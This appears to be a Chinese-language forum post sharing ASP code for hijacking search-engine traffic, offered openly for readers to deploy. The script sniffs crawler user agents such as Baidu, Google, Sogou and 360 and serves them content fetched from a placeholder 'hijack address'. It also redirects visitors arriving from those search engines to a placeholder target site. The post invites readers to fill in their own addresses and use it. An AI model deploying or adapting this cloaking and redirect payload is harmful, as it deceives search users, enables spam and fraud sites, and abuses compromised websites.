我在这里是在原来代码的基础上进行了修改,其实原理很简单,以前的只能劫持百度,现在的还能同时劫持更多,有兴趣的朋友可以去看看代码。
里面的代码你们用的时候记得修改里面的位置,需要修改的地方,相信你们明白的。
原代码地址:ASP搜索引擎关键词劫持跳转代码
代码
<% function GetBot() '查询蜘蛛 dim s_agent GetBot="" s_agent=Request.ServerVariables("HTTP_USER_AGENT") '关键判断语句 if instr(1,s_agent,"googlebot",1) >0 then GetBot="google" end if if instr(1,s_agent,"msnbot",1) >0 then GetBot="MSN" end if if instr(1,s_agent,"slurp",1) >0 then GetBot="Yahoo" end if if instr(1,s_agent,"baiduspider",1) >0 then GetBot="baidu" end if if instr(1,s_agent,"sohu-search",1) >0 then GetBot="Sohu" end if if instr(1,s_agent,"sogou spider",1) >0 then GetBot="Sogou" end if if instr(1,s_agent,"360Spider",1) >0 then GetBot="so" end if if instr(1,s_agent,"lycos",1) >0 then GetBot="Lycos" end if if instr(1,s_agent,"robozilla",1) >0 then GetBot="Robozilla" end if end function Function getHTTPPage(Path) t = GetBody(Path) getHTTPPage=BytesToBstr(t,"GB2312")'编码 End function Function Newstring(wstr,strng) Newstring=Instr(lcase(wstr),lcase(strng)) if Newstring<=0 then Newstring=Len(wstr) End Function Function GetBody(url) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send GetBody = .ResponseBody End With Set Retrieval = Nothing End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Dim wstr,str,url,start,over,dtime if GetBot="baidu" then '给百度蜘蛛定制的内容 url="劫持地址" '想要展示给蜘蛛的页面地址 wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.end elseif GetBot="sogou" then '给google 蜘蛛定制的内容 url="劫持地址" wstr=getHTTPPage(url) body=wstr response.write ""&body&"" response.End end if if instr(Request.ServerVariables("http_referer"),"www.baidu.com")>0 then '如果用户来自www.baidu.com response.redirect("要跳转的目标地址") '跳转指定地址 end if if instr(Request.ServerVariables("http_referer"),"www.google.com.hk")>0 then '如果用户来自www.google.com.hk response.redirect("要跳转的目标地址") '跳转指定地址 end if if instr(Request.ServerVariables("http_referer"),"www.so.com")>0 then '如果用户来自www.so.com response.redirect("要跳转的目标地址") '跳转指定地址 end if if instr(Request.ServerVariables("http_referer"),"www.sogou.com")>0 then '如果用户来自www.sogou.com response.redirect("要跳转的目标地址") '跳转指定地址 end If if instr(Request.ServerVariables("http_referer"),"www.yahoo.com")>0 then '如果用户来自www.sogou.com response.redirect("要跳转的目标地址") '跳转指定地址 end if %>